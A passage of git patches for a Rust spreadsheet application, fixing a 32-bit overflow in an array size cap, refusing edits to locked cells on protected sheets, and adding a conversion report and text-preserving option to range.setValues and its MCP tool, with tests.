[PATCH 136/298] calc: form the MAP result size in u64 so wasm32 cannot wrap the cap (#2165) `broadcast_len`, the MAX_CELLS guard shared by MAP, the binary operators, TEXT and array IF, multiplied `rows` and `cols` as `usize`. On wasm32 a broadcast such as 65536 x 65536 (2^32 cells) wraps that product to 0 and slips past the cap, after which the allocation and loop run far past MAX_CELLS. The product is now formed in u64 and converted back only after the cap check, so the guard means the same on every target. `single`, the per-cell scalar check in MAP and MAKEARRAY, compared `rows * cols` with 1. A constructed array stores exactly `rows * cols` values, so it now tests `data.len()` directly: the same answer without an unchecked product. Tests cover MAX_CELLS exactly, one cell over, the 2^32 pair that wraps to zero on a 32-bit usize, a full column x row (2^34), and MAP itself just over the cap and at 16384 x 16384. Closes #2165 --- crates/calc/src/eval/array.rs | 31 +++++++++++++++++++++++++++++-- crates/calc/src/tests.rs | 19 +++++++++++++++++++ 2 files changed, 48 insertions(+), 2 deletions(-) diff --git a/crates/calc/src/eval/array.rs b/crates/calc/src/eval/array.rs index ab6ac1b06..67662c83c 100644 --- a/crates/calc/src/eval/array.rs +++ b/crates/calc/src/eval/array.rs @@ -89,8 +89,14 @@ pub fn zip2(a: &Value, b: &Value, f: impl Fn(&Value, &Value) -> Value) -> Value /// Cell count of a `rows`×`cols` broadcast result, or `None` when it would exceed [`MAX_CELLS`]. /// Each operand passes its own size cap, but their broadcast product can be far larger /// (`SEQUENCE(1048576)*SEQUENCE(1,16384)` is 17 billion cells), so it is checked before allocating. +/// The product is formed in `u64`: on wasm32 `usize` is 32 bits, where a `usize` product above +/// `u32::MAX` would wrap (2^32 cells → 0) and slip past the cap. pub(super) fn broadcast_len(rows: usize, cols: usize) -> Option { - rows.checked_mul(cols).filter(|&n| n as u64 <= MAX_CELLS) + let cells = u64::try_from(rows).ok()?.checked_mul(u64::try_from(cols).ok()?)?; + if cells > MAX_CELLS { + return None; + } + usize::try_from(cells).ok() } fn broadcast_dim(a: usize, b: usize) -> usize { @@ -124,7 +130,7 @@ pub(super) fn zip3(c: &Array, t: &Value, f: &Value, g: impl Fn(&Value, &Value, & /// can't nest, so the whole helper gives `#CALC!`, as in Excel. pub(super) fn single(v: Value) -> Option { match v { - Value::Array(a) if a.rows * a.cols > 1 => None, + Value::Array(a) if a.data.len() > 1 => None, v => Some(v.scalar()), } } @@ -178,3 +184,24 @@ fn binary_scalar(op: BinOp, a: &Value, b: &Value, sys: gridcraft_core::DateSyste BinOp::Range | BinOp::Union | BinOp::Intersect => Value::Error(CellError::Value), } } + +#[cfg(test)] +mod tests { + use super::{MAX_CELLS, broadcast_len}; + + #[test] + fn broadcast_len_caps_at_max_cells() { + assert_eq!(broadcast_len(4_000, 4_000), Some(MAX_CELLS as usize)); + assert_eq!(broadcast_len(4_000, 4_001), None); + assert_eq!(broadcast_len(1, MAX_CELLS as usize), Some(MAX_CELLS as usize)); + } + + /// `65_536 * 65_536` is 2^32. Multiplied as `usize` on wasm32 it wraps to 0, which a + /// `> MAX_CELLS` test would let through; the guard must reject the true product. + #[test] + fn broadcast_len_rejects_a_product_that_wraps_to_zero_on_32_bits() { + assert_eq!(65_536u32.wrapping_mul(65_536), 0); + assert_eq!(broadcast_len(65_536, 65_536), None); + assert_eq!(broadcast_len(1_048_576, 16_384), None); + } +} diff --git a/crates/calc/src/tests.rs b/crates/calc/src/tests.rs index e2d62db66..89e6e7327 100644 --- a/crates/calc/src/tests.rs +++ b/crates/calc/src/tests.rs @@ -1251,6 +1251,25 @@ fn array_broadcast_result_is_capped() { assert_eq!(t.num("C3"), 5.0); } +/// MAP refuses a result past `MAX_CELLS` by its checked product, before allocating it (the +/// 2^32-cell wrap that a 32-bit `usize` product would turn into 0 is pinned in +/// `broadcast_len_rejects_a_product_that_wraps_to_zero_on_32_bits`; `SEQUENCE` tops out at +/// 16384 columns, so the widest product it can build is 16384 squared). +#[test] +fn map_caps_its_result_size() { + let mut t = T::new(); + for (at, formula) in + [("A1", "=MAP(SEQUENCE(4001),SEQUENCE(1,4000),LAMBDA(a,b,a))"), ("A2", "=MAP(SEQUENCE(16384),SEQUENCE(1,16384),LAMBDA(a,b,a))")] + { + t.set(at, formula); + assert_eq!(t.get(at), Value::Error(CellError::Num), "{formula}"); + } + // Within the cap the broadcast shape is unchanged. + t.set("A3", "=ROWS(MAP(SEQUENCE(3),SEQUENCE(1,2),LAMBDA(a,b,a+b)))"); + t.set("A4", "=COLUMNS(MAP(SEQUENCE(3),SEQUENCE(1,2),LAMBDA(a,b,a+b)))"); + assert_eq!((t.num("A3"), t.num("A4")), (3.0, 2.0)); +} + #[test] fn text_function() { let mut t = T::new(); From 40b254c3067b5872f322f773845dd86ad2a79355 Mon Sep 17 00:00:00 2001 From: Max Murphy Date: Sat, 31 Oct 2026 16:52:49 +0100 Subject: [PATCH 137/298] fix(ui): refuse a locked cell's edit before a draft blocks Save (#2945) --- crates/engine/src/lib.rs | 11 +++ crates/engine/src/tests.rs | 11 +++ crates/ui-egui/src/app/editing.rs | 88 +++++++++++++++++++++++ crates/ui-egui/tests/it/main.rs | 1 + crates/ui-egui/tests/it/protected_cell.rs | 70 ++++++++++++++++++ 5 files changed, 181 insertions(+) create mode 100644 crates/ui-egui/tests/it/protected_cell.rs diff --git a/crates/engine/src/lib.rs b/crates/engine/src/lib.rs index 3ae4ac95a..a470f2158 100644 --- a/crates/engine/src/lib.rs +++ b/crates/engine/src/lib.rs @@ -558,6 +558,17 @@ impl Session { pub fn doc_mut(&mut self) -> Result<&mut DocState> { self.active_mut().ok_or(EngineError::NoDocument) } + /// The warning an edit of `at` on `sheet` gets from sheet protection, or `None` when the edit + /// is allowed. Front ends ask before opening an editor, so typing into a locked cell never + /// leaves a draft that can't be entered (and so blocks saving). + pub fn locked_cell_message(&self, sheet: usize, at: CellRef) -> Option { + let d = self.active()?; + let sh = d.wb.sheet(sheet)?; + if !sh.is_protected() || !d.wb.styles.get(sh.style_id(at)).protection.locked { + return None; + } + cmd::locked_cell_error(sh, at, &d.unlocked_ranges) + } /// Opens a workbook in a new window, which becomes the active one. pub fn add_document(&mut self, d: DocState) -> usize { let uid = d.uid; diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index f99f246df..04d080eea 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -1400,6 +1400,17 @@ fn protection_refuses_edits_of_locked_cells() { assert_eq!(v(&s, "A1"), Value::Number(1.0)); } +#[test] +fn locked_cell_message_matches_what_an_edit_would_be_refused_with() { + let s = protected(json!({})); + let locked = CellRef::parse("A1").unwrap(); + let unlocked = CellRef::parse("D1").unwrap(); + + assert!(s.locked_cell_message(0, locked).is_some_and(|m| m.contains("protected sheet"))); + assert_eq!(s.locked_cell_message(0, unlocked), None, "an unlocked cell stays editable"); + assert_eq!(s.locked_cell_message(9, locked), None, "no such sheet"); +} + #[test] fn protection_allows_permitted_row_and_column_edits() { let mut s = protected(json!({"insertRows": true, "deleteRows": true, "insertColumns": true})); diff --git a/crates/ui-egui/src/app/editing.rs b/crates/ui-egui/src/app/editing.rs index 6890fb944..bb99ae260 100644 --- a/crates/ui-egui/src/app/editing.rs +++ b/crates/ui-egui/src/app/editing.rs @@ -15,6 +15,13 @@ impl SheetApp { let Some(d) = self.session.active() else { return }; let Some(sh) = d.wb.active() else { return }; let at = sh.merge_at(d.selection.active).map(|m| m.start).unwrap_or(d.selection.active); + // A locked cell on a protected sheet can't be entered (Excel's warning, and the engine + // refuses `cell.set` anyway): refuse before a draft exists, rather than leaving one that + // can never be committed and blocks Save (#2945). + if let Some(m) = self.session.locked_cell_message(d.wb.active_sheet(), at) { + self.message = Some(("GridCraft".into(), m)); + return; + } // A picture has no editable scalar text. Selecting it, F2, or clicking // the formula bar must not turn its fallback value into a text edit. // Typing still starts an intentional replacement. @@ -102,6 +109,13 @@ impl SheetApp { } return true; } + // A draft on a cell sheet protection now locks (the sheet was protected while it was + // open) can't be entered: drop it with the warning instead of keeping it, which would + // block Save with a draft that can never be committed (#2945). + if let Some(m) = self.session.locked_cell_message(ed.sheet, ed.cell) { + self.message = Some(("GridCraft".into(), m)); + return true; + } let text = match self.session.active().map(|d| formula_locale::canonical(&text, ed.locale, &d.wb, ed.sheet, ed.cell)) { Some(Ok(text)) => text, Some(Err(error)) => { @@ -209,3 +223,77 @@ impl SheetApp { self.grid.ensure_visible = true; } } + +#[cfg(test)] +mod protected_cell_tests { + use super::*; + use gridcraft_engine::Session; + use gridcraft_engine::core::{CellRef, Value}; + + /// A protected sheet whose C2 is unlocked; C2 holds "keep" as the last undo step. + fn protected_book() -> SheetApp { + let mut session = Session::new(); + session.new_workbook(); + let mut app = SheetApp::new(session, Default::default()); + app.run("cell.set", json!({"cell": "C2", "input": "keep"})).unwrap(); + app.run("home.formatCells", json!({"range": "C2", "style": {"protection": {"locked": false}}})).unwrap(); + app.run("review.protectSheet", json!({})).unwrap(); + app + } + + fn value(app: &SheetApp, a1: &str) -> Value { + let at = CellRef::parse(a1).unwrap(); + app.session.active().and_then(|d| d.wb.sheet(0)).map(|sh| sh.value(at)).unwrap_or_default() + } + + fn protected_message(app: &SheetApp) -> Option<&str> { + app.message.as_ref().map(|(_, m)| m.as_str()) + } + + #[test] + fn typing_in_a_locked_cell_does_not_leave_a_draft_that_blocks_undo_and_save() { + let mut app = protected_book(); + assert_eq!(app.session.active().unwrap().selection.active.a1(), "A1", "the locked A1 is the active cell"); + let undo = app.session.active().unwrap().undo.len(); + let dirty = app.session.active().unwrap().is_dirty(); + + app.begin_edit(Some("locked".into()), false); + + assert!(app.editor.is_none(), "a locked cell must not open an editor"); + assert!(protected_message(&app).is_some_and(|m| m.contains("protected sheet")), "the warning names the protected sheet"); + assert_eq!(app.session.active().unwrap().undo.len(), undo, "a refused edit adds no undo step"); + assert_eq!(app.session.active().unwrap().is_dirty(), dirty, "a refused edit leaves the workbook as it was"); + assert!(app.run("file.saveBytes", json!({"format": "xlsx"})).is_ok(), "Save is not blocked by a draft that can never be entered"); + } + + #[test] + fn an_unlocked_cell_on_a_protected_sheet_still_edits_undoes_and_saves() { + let mut app = protected_book(); + app.run("selection.set", json!({"cell": "C2"})).unwrap(); + app.begin_edit(Some("typed".into()), false); + assert!(app.editor.is_some(), "an unlocked cell opens its editor"); + assert!(app.commit_edit(0, 0, false, false)); + assert_eq!(value(&app, "C2"), Value::text("typed")); + + assert!(app.run("edit.undo", json!({})).is_ok()); + assert_eq!(value(&app, "C2"), Value::text("keep"), "Undo of the typed edit still works"); + assert!(app.run("file.saveBytes", json!({"format": "xlsx"})).is_ok()); + } + + #[test] + fn a_draft_that_becomes_locked_is_cancelled_instead_of_staying_open() { + let mut app = protected_book(); + app.run("selection.set", json!({"cell": "C2"})).unwrap(); + app.begin_edit(Some("typed".into()), false); + // The sheet is unprotected, C2 locked, and the sheet protected again while the draft is open. + app.run("review.unprotectSheet", json!({})).unwrap(); + app.run("home.formatCells", json!({"range": "C2", "style": {"protection": {"locked": true}}})).unwrap(); + app.run("review.protectSheet", json!({})).unwrap(); + + assert!(app.commit_edit(0, 0, false, false), "the refused draft is handled, not left open"); + assert!(app.editor.is_none()); + assert!(protected_message(&app).is_some_and(|m| m.contains("protected sheet"))); + assert_eq!(value(&app, "C2"), Value::text("keep")); + assert!(app.run("file.saveBytes", json!({"format": "xlsx"})).is_ok()); + } +} diff --git a/crates/ui-egui/tests/it/main.rs b/crates/ui-egui/tests/it/main.rs index b683f125d..9cebf6198 100644 --- a/crates/ui-egui/tests/it/main.rs +++ b/crates/ui-egui/tests/it/main.rs @@ -80,6 +80,7 @@ mod pivot_show_details; mod pivot_show_details_menu; mod popup_dismissal; mod protect_password; +mod protected_cell; mod ribbon_layout; mod right_to_left; mod scroll_position; diff --git a/crates/ui-egui/tests/it/protected_cell.rs b/crates/ui-egui/tests/it/protected_cell.rs new file mode 100644 index 000000000..15a3f5fd7 --- /dev/null +++ b/crates/ui-egui/tests/it/protected_cell.rs @@ -0,0 +1,70 @@ +//! Typing into a locked cell of a protected sheet warns before an editor opens, and the warning +//! leaves Undo, Save and typing in unlocked cells working (#2945). + +use egui::{Event, Key, Modifiers}; +use gridcraft_engine::Session; +use gridcraft_engine::core::{CellRef, Value}; +use gridcraft_ui_egui::SheetApp; +use serde_json::json; + +type Harness = egui_kittest::Harness<'static, SheetApp>; + +const PROTECTED: &str = "The cell or chart you're trying to change is on a protected sheet."; + +/// A protected sheet whose C2 is unlocked and holds "keep"; A1 is locked and active. +fn harness() -> Harness { + let mut s = Session::new(); + s.new_workbook(); + s.execute("cell.set", json!({"cell": "C2", "input": "keep"})).unwrap(); + s.execute("home.formatCells", json!({"range": "C2", "style": {"protection": {"locked": false}}})).unwrap(); + s.execute("review.protectSheet", json!({})).unwrap(); + s.execute("selection.set", json!({"cell": "A1"})).unwrap(); + crate::support::harness(s, 4) +} + +fn key(h: &mut Harness, k: Key) { + h.input_mut().events.push(Event::Key { key: k, physical_key: Some(k), pressed: true, repeat: false, modifiers: Modifiers::NONE }); + h.input_mut().events.push(Event::Key { key: k, physical_key: Some(k), pressed: false, repeat: false, modifiers: Modifiers::NONE }); + h.run_steps(2); +} + +/// Types text the way a keyboard does (into whatever has focus). +fn type_text(h: &mut Harness, text: &str) { + h.input_mut().events.push(Event::Text(text.into())); + h.run_steps(2); +} + +fn value(h: &Harness, a1: &str) -> Value { + let at = CellRef::parse(a1).unwrap(); + h.state().session.active().and_then(|d| d.wb.sheet(0)).map(|sh| sh.value(at)).unwrap_or_default() +} + +#[test] +fn typing_in_a_locked_cell_warns_without_a_stuck_draft() { + let mut h = harness(); + let undo = h.state().session.active().unwrap().undo.len(); + + type_text(&mut h, "locked"); + + assert!(h.state().editor.is_none(), "no editor opened on the locked cell"); + assert_eq!(h.state().message.as_ref().map(|(_, m)| m.as_str()), Some(PROTECTED)); + assert_eq!(h.state().session.active().unwrap().undo.len(), undo, "the refused edit added no undo step"); + assert_eq!(value(&h, "A1"), Value::Empty); + // No draft exists, so Save is not blocked while the warning is up. + assert!(h.state_mut().run("file.saveBytes", json!({"format": "xlsx"})).is_ok()); + + // Enter dismisses the warning and the keyboard goes back to the grid. + key(&mut h, Key::Enter); + assert!(h.state().message.is_none(), "Enter dismisses the warning"); + + // An unlocked cell on the same sheet still edits, undoes and saves. + h.state_mut().run("selection.set", json!({"cell": "C2"})).unwrap(); + h.run_steps(1); + type_text(&mut h, "typed"); + assert_eq!(h.state().editor.as_ref().map(|e| e.text.as_str()), Some("typed")); + key(&mut h, Key::Enter); + assert_eq!(value(&h, "C2"), Value::text("typed")); + assert!(h.state_mut().run("edit.undo", json!({})).is_ok()); + assert_eq!(value(&h, "C2"), Value::text("keep"), "Undo of the unlocked cell's edit still works"); + assert!(h.state_mut().run("file.saveBytes", json!({"format": "xlsx"})).is_ok()); +} From 8fff311210e8c152a5f2dc29e8f3b646d0241987 Mon Sep 17 00:00:00 2001 From: Max Murphy Date: Sat, 31 Oct 2026 16:57:38 +0100 Subject: [PATCH 138/298] range.setValues: report the strings typed input read, and clear "" with parse: false (#2255) The default still reads a string with typed input, which is en-US: "05.04.2026" from a dd.mm.yyyy export became 4 May, "2.500" became 2.5, and the command said nothing (#2255). `parse: false` (PR #2267) lets a caller keep the text, but a script that does not pass it still cannot notice the change. The result now names them: `converted` lists the strings typed input read as a number (dates and times included), a boolean or an error, with the cell, the input and what the cell shows, and `convertedCount` is the total. It is capped at 20 entries and 32 characters per string, so a big write does not put a second copy of its data in the result. A string written as a formula (`=1+1`) and a leading apostrophe are not conversions. `cells` and the default reading of the values are unchanged. Two `parse: false` fixes from the review of #2267: - An empty string clears the cell, as `null` and the default path do. Storing an empty text cell left a cell that is not blank: `values: [["", ""]]` gave COUNTA 2 and ISBLANK FALSE. - MCP `write_range` takes `parse`, so an agent can opt out too; the tool's description and docs/mcp.md say so. Tests: the issue's examples under both settings, the report and its cap, the empty string, and an XLSX save/reopen that keeps the text as text and the default's date as a date. --- crates/engine/src/cmd/edit.rs | 2 +- crates/engine/src/cmd/edit/cell.rs | 62 +++++++++++++++++++++++++--- crates/engine/src/cmd/edit/tests.rs | 64 +++++++++++++++++++++++++++++ crates/mcp/src/tests.rs | 16 ++++++++ crates/mcp/src/tools.rs | 6 ++- docs/mcp.md | 2 +- 6 files changed, 142 insertions(+), 10 deletions(-) diff --git a/crates/engine/src/cmd/edit.rs b/crates/engine/src/cmd/edit.rs index 27e217474..798ed8a48 100644 --- a/crates/engine/src/cmd/edit.rs +++ b/crates/engine/src/cmd/edit.rs @@ -46,7 +46,7 @@ pub fn specs() -> Vec { "Set Values", [], None, - "{range?: \"A1\", values: [[...]] (rows of numbers/strings/bools/null; strings starting with = are formulas), parse?: bool (default true: a string goes through typed input, so \"05.04.2026\" becomes a date and \"2.500\" a number, by en-US rules; false stores every other string as the text it is, so a dd.mm.yyyy date or a thousands separator survives)}", + "{range?: \"A1\", values: [[...]] (rows of numbers/strings/bools/null; strings starting with = are formulas), parse?: bool (default true: a string goes through typed input, so \"05.04.2026\" becomes a date and \"2.500\" a number, by en-US rules; false stores every other string as the text it is, so a dd.mm.yyyy date or a thousands separator survives, a leading ' is kept and an empty string clears the cell)} → {cells, convertedCount, converted: [{cell, input, stored}] (up to 20 of the strings typed input read as a number, date, time, boolean or error, so a script can notice)}", has_doc, range_set_values ), diff --git a/crates/engine/src/cmd/edit/cell.rs b/crates/engine/src/cmd/edit/cell.rs index c57afae97..65d5b73ce 100644 --- a/crates/engine/src/cmd/edit/cell.rs +++ b/crates/engine/src/cmd/edit/cell.rs @@ -183,6 +183,22 @@ pub(crate) fn json_to_input(v: &Json) -> String { } } +/// How many converted strings `range.setValues` reports back, and how much of each input and +/// stored text: the report is a diagnostic, so a big write must not put a second copy of its data +/// in the result. +const MAX_REPORTED_CONVERSIONS: usize = 20; +const MAX_REPORTED_CHARS: usize = 32; + +/// `text` cut to [`MAX_REPORTED_CHARS`] characters for the conversion report, with `…` when it was +/// cut. Counting characters keeps a multi-byte input whole. +fn clipped(text: &str) -> String { + let mut out: String = text.chars().take(MAX_REPORTED_CHARS).collect(); + if out.len() < text.len() { + out.push('…'); + } + out +} + pub(super) fn range_set_values(s: &mut Session, p: &Json) -> Result { let sheet = target_sheet(s, p)?; let start = target_range(s, p)?.start; @@ -200,6 +216,10 @@ pub(super) fn range_set_values(s: &mut Session, p: &Json) -> Result { return Err(bad("range.setValues", "too many rows")); } let mut count = 0; + // The strings typed input read as something other than the text given, for the result: a + // caller can notice a "05.04.2026" that became a date without reading the file back (#2255). + let mut converted: Vec<(CellRef, String)> = Vec::new(); + let mut converted_count = 0; edit(s, |cx| { for (ri, row) in rows.iter().enumerate() { let cols: Vec<&Json> = match row.as_array() { @@ -222,15 +242,35 @@ pub(super) fn range_set_values(s: &mut Session, p: &Json) -> Result { // text rather than the marker that makes it text. A formula is still a // formula, which is what the ticket asks for and what `=` means in a cell. Json::String(text) if !parse && !text.starts_with('=') => { - let mut style = cx.wb.sheet(sheet).map(|sh| sh.style_id(at)).unwrap_or_default(); - // Line breaks still turn on Wrap Text, as typed input does. - if text.contains('\n') && !cx.wb.styles.get(style).align.wrap { - style = cx.wb.styles.derive(style, |s| s.align.wrap = true); + if text.is_empty() { + // An empty string clears the cell, as `null` and the default path do: + // an empty text cell is not blank, and a script clearing cells with + // `""` would leave cells `COUNTA` counts. + None + } else { + let mut style = cx.wb.sheet(sheet).map(|sh| sh.style_id(at)).unwrap_or_default(); + // Line breaks still turn on Wrap Text, as typed input does. + if text.contains('\n') && !cx.wb.styles.get(style).align.wrap { + style = cx.wb.styles.derive(style, |s| s.align.wrap = true); + } + Some(Cell { value: Value::Text(text.as_str().into()), formula: None, style }) } - Some(Cell { value: Value::Text(text.as_str().into()), formula: None, style }) } _ => input_to_cell(&input, sheet, at, &mut cx.wb)?, }; + // A string that became a formula was written as one (`=`), which is deliberate; + // only a number (dates and times included), boolean or error is a reading of the + // string and worth reporting. + if let Some(c) = &cell + && matches!(v, Json::String(_)) + && c.formula.is_none() + && matches!(c.value, Value::Number(_) | Value::Bool(_) | Value::Error(_)) + { + converted_count += 1; + if converted.len() < MAX_REPORTED_CONVERSIONS { + converted.push((at, input.clone())); + } + } let sh = cx.sheet_mut(sheet)?; match cell { Some(c) => sh.set_cell(at, c), @@ -245,7 +285,17 @@ pub(super) fn range_set_values(s: &mut Session, p: &Json) -> Result { } Ok(()) })?; - Ok(json!({"cells": count})) + let d = s.doc()?; + let reported: Vec = + d.wb.sheet(sheet) + .map(|sh| { + converted + .iter() + .map(|(at, input)| json!({"cell": at.a1(), "input": clipped(input), "stored": clipped(&crate::display::cell_text(&d.wb, sh, *at))})) + .collect() + }) + .unwrap_or_default(); + Ok(json!({"cells": count, "convertedCount": converted_count, "converted": reported})) } pub(super) fn range_fill(s: &mut Session, p: &Json) -> Result { diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index c9e1e7a93..3701dfd19 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -192,6 +192,70 @@ fn set_values_can_store_strings_as_the_text_they_are() { assert!(d.wb.styles.get(sh.style_id(CellRef::parse("A9").unwrap())).align.wrap); } +/// The result names the strings typed input read as something else, so a script notices without +/// reading the file back (#2255). A formula and a leading apostrophe are not conversions. +#[test] +fn set_values_reports_the_strings_typed_input_read() { + let mut s = Session::new(); + s.new_workbook(); + let row = json!(["05.04.2026", "02/11/2026", "2.500", "4.25 %", "=1+1", "'keep"]); + let r = s.execute("range.setValues", json!({"range": "A1", "values": [row.clone()]})).unwrap(); + assert_eq!(r["cells"], 6, "{r}"); + assert_eq!(r["convertedCount"], 4, "{r}"); + assert_eq!(r["converted"][0], json!({"cell": "A1", "input": "05.04.2026", "stored": "5/4/2026"}), "{r}"); + assert_eq!(r["converted"][1], json!({"cell": "B1", "input": "02/11/2026", "stored": "2/11/2026"}), "{r}"); + assert_eq!(r["converted"][2], json!({"cell": "C1", "input": "2.500", "stored": "2.5"}), "{r}"); + assert_eq!(r["converted"][3], json!({"cell": "D1", "input": "4.25 %", "stored": "4.25%"}), "{r}"); + // The report is a diagnostic, not a second copy of the data: a long input is cut. + let long = s.execute("range.setValues", json!({"range": "J1", "values": [["9".repeat(100)]]})).unwrap(); + assert_eq!(long["convertedCount"], 1, "{long}"); + let input = long["converted"][0]["input"].as_str().unwrap_or_default(); + assert_eq!(input.chars().count(), 33, "32 characters and the ellipsis: {input}"); + assert!(input.ends_with('…'), "{input}"); + // Nothing is read with `parse: false`, so nothing is reported. + let verbatim = s.execute("range.setValues", json!({"range": "A3", "parse": false, "values": [row]})).unwrap(); + assert_eq!(verbatim["convertedCount"], 0, "{verbatim}"); + assert_eq!(verbatim["converted"], json!([]), "{verbatim}"); +} + +/// An empty string clears the cell with `parse: false` too, as `null` and the default path do: a +/// script clearing cells with "" must not leave cells `COUNTA` counts. +#[test] +fn set_values_parse_false_clears_an_empty_string() { + let mut s = Session::new(); + s.new_workbook(); + s.execute("range.setValues", json!({"range": "A1:B1", "values": [["keep", "keep"]]})).unwrap(); + s.execute("range.setValues", json!({"range": "A1", "parse": false, "values": [["", ""]]})).unwrap(); + let get = |s: &mut Session, a: &str| s.execute("cell.get", json!({"cell": a})).unwrap(); + assert_eq!(get(&mut s, "A1")["type"], "empty"); + assert_eq!(get(&mut s, "B1")["type"], "empty"); + assert_eq!(s.execute("formulas.evaluate", json!({"formula": "=COUNTA(A1:B1)"})).unwrap(), json!(0.0)); +} + +/// The text `parse: false` stores is still text after the workbook is saved and reopened, and the +/// default's reading of a date survives as a date (#2255). +#[test] +fn set_values_text_survives_an_xlsx_roundtrip() { + let mut s = Session::new(); + s.new_workbook(); + let values = json!([["05.04.2026", "2.500", "4.25 %", "=1+1", 3, true]]); + s.execute("range.setValues", json!({"range": "A1", "parse": false, "values": values})).unwrap(); + s.execute("range.setValues", json!({"range": "A3", "values": [["05.04.2026"]]})).unwrap(); + let bytes = crate::io::save_bytes(&s.doc().unwrap().wb, "book.xlsx").unwrap(); + let (wb, _) = crate::io::open_bytes("book.xlsx", &bytes).unwrap(); + let sh = wb.sheet(0).unwrap(); + for (col, want) in [(0, "05.04.2026"), (1, "2.500"), (2, "4.25 %")] { + assert_eq!(sh.value(CellRef::new(0, col)), Value::text(want), "column {col} is the text it was given"); + } + assert_eq!(sh.value(CellRef::new(0, 3)), Value::number(2.0), "=1+1 is still a formula"); + assert_eq!(sh.value(CellRef::new(0, 4)), Value::number(3.0)); + assert_eq!(sh.value(CellRef::new(0, 5)), Value::Bool(true)); + // The default read the date, and the file keeps it as one. + let at = CellRef::new(2, 0); + assert_eq!(crate::display::cell_text(&wb, sh, at), "5/4/2026"); + assert_eq!(wb.styles.get(sh.style_id(at)).num_fmt.as_str(), "m/d/yyyy"); +} + #[test] fn legacy_array_entry() { let mut s = Session::new(); diff --git a/crates/mcp/src/tests.rs b/crates/mcp/src/tests.rs index 61cfc8dfd..71631b5e8 100644 --- a/crates/mcp/src/tests.rs +++ b/crates/mcp/src/tests.rs @@ -252,6 +252,22 @@ fn save_and_open_roundtrip() { let _ = std::fs::remove_file(path); } +/// #2255: `parse: false` on `write_range` stores strings as the text they are, so a dd.mm.yyyy +/// date or a thousands separator survives, and the result names the strings the default read. +#[test] +fn write_range_can_store_strings_as_text() { + let mut s = server(); + let row = json!([["05.04.2026", "2.500", "4.25 %", "=1+1"]]); + let stored = ok(&mut s, "write_range", json!({"range": "A1", "parse": false, "values": row})); + assert_eq!(stored["convertedCount"], 0, "nothing was read: {stored}"); + let v = ok(&mut s, "read_range", json!({"range": "A1:D1"})); + assert_eq!(v["values"], json!([["05.04.2026", "2.500", "4.25 %", 2.0]]), "{v}"); + // Without it the strings are read like typed input, and the result says which. + let read = ok(&mut s, "write_range", json!({"range": "A3", "values": row})); + assert_eq!(read["convertedCount"], 3, "{read}"); + assert_eq!(read["converted"][0], json!({"cell": "A3", "input": "05.04.2026", "stored": "5/4/2026"}), "{read}"); +} + /// An agent builds a small monthly budget through MCP tool calls only. #[test] fn agent_builds_a_budget() { diff --git a/crates/mcp/src/tools.rs b/crates/mcp/src/tools.rs index b422b5f34..f1a36b004 100644 --- a/crates/mcp/src/tools.rs +++ b/crates/mcp/src/tools.rs @@ -190,11 +190,13 @@ fn base_tool_definitions() -> Vec { "Write range", "Write a 2-D array of values starting at the top-left cell of `range` (rows of cells). Numbers, booleans, null (clears) \ and strings are accepted; strings starting with = are formulas (\"=SUM(B2:B4)\"), other strings are parsed like typed \ - input (\"12%\", \"1/2/2024\", \"$5\"). One undo step. Example: {\"range\":\"A1\",\"values\":[[\"Item\",\"Cost\"],[\"Rent\",1200]]}.", + input (\"12%\", \"1/2/2024\", \"$5\") unless `parse` is false, which stores them as the text they are. The result's \ + `converted` lists the strings that were read as something else. One undo step. Example: {\"range\":\"A1\",\"values\":[[\"Item\",\"Cost\"],[\"Rent\",1200]]}.", obj( json!({ "range": string("Top-left cell or range, e.g. \"A1\" or \"Sheet2!B3\""), "values": {"type": "array", "description": "Rows of cell values", "items": {"type": "array", "items": {"type": ["string", "number", "boolean", "null"]}}}, + "parse": boolean("Store every string not starting with = as the text it is, instead of reading it like typed input (default true)"), }), &["range", "values"], ), @@ -637,7 +639,7 @@ fn dispatch(b: &mut dyn Backend, name: &str, a: &Args) -> Result "list_windows" => exec(b, "window.list", json!({})), "inspect_workbook" => b.call("document.inspect", json!({})), "read_range" => b.call("sheet.read", pick(a, &["range", "sheet", "formulas", "formatted"])), - "write_range" => exec(b, "range.setValues", pick(a, &["range", "values"])), + "write_range" => exec(b, "range.setValues", pick(a, &["range", "values", "parse"])), "set_cell" => exec(b, "cell.set", pick(a, &["cell", "input"])), "get_cell" => exec(b, "cell.get", pick(a, &["cell"])), "evaluate_formula" => { diff --git a/docs/mcp.md b/docs/mcp.md index 32ea6e0c1..c3ee026b7 100644 --- a/docs/mcp.md +++ b/docs/mcp.md @@ -44,7 +44,7 @@ with a file open. | `list_windows` | — | Open windows: window id, workbook (`doc`) id, title ("Book1", or "Book1:2" for a workbook's second window), unsaved changes, active, hidden. | | `inspect_workbook` | — | Sheets, used ranges, tables, charts, names, selection, history. | | `read_range` | `range?`, `sheet?`, `formulas?`, `formatted?` | Rows of values (default: the used range). | -| `write_range` | `range`, `values` (2-D) | `range.setValues`; strings starting with `=` are formulas. | +| `write_range` | `range`, `values` (2-D), `parse?` | `range.setValues`; strings starting with `=` are formulas, other strings are read like typed input unless `parse: false` stores them as text. `converted` in the result lists the strings read as a number, date, time, boolean or error. | | `set_cell` / `get_cell` | `cell`, `input` / `cell` | Enter one cell / read value, formula, display text, style. | | `evaluate_formula` | `formula`, `cell?` | Evaluates without changing the sheet. A formula that couldn't be entered in a cell (it doesn't parse, or a function gets the wrong number of arguments) is an error saying why. | | `select` | `range`, `active?` | Sets the selection. | From 72b1310a5a6afd27e7c2e93b2cd778ddb7ab2e0c Mon Sep 17 00:00:00 2001 From: Max Murphy Date: Sat, 31 Oct 2026 16:57:58 +0100 Subject: [PATCH 139/298] #2765: CSV and text open detect each column's date order --- ROADMAP.md | 3 +- crates/engine/src/io.rs | 8 +- crates/engine/src/io/tests.rs | 14 ++ crates/xlsx/src/csv.rs | 245 ++++++++++++++++++++++++++++- crates/xlsx/src/lib.rs | 2 +- crates/xlsx/src/tests/csv_tests.rs | 82 +++++++++- docs/file-format-parity.md | 11 +- 7 files changed, 348 insertions(+), 17 deletions(-) diff --git a/ROADMAP.md b/ROADMAP.md index 40652c341..e59862919 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -2,7 +2,7 @@ **Stage: alpha** · next: beta, ~25 points of "ready for real work" and ~160–240 h away 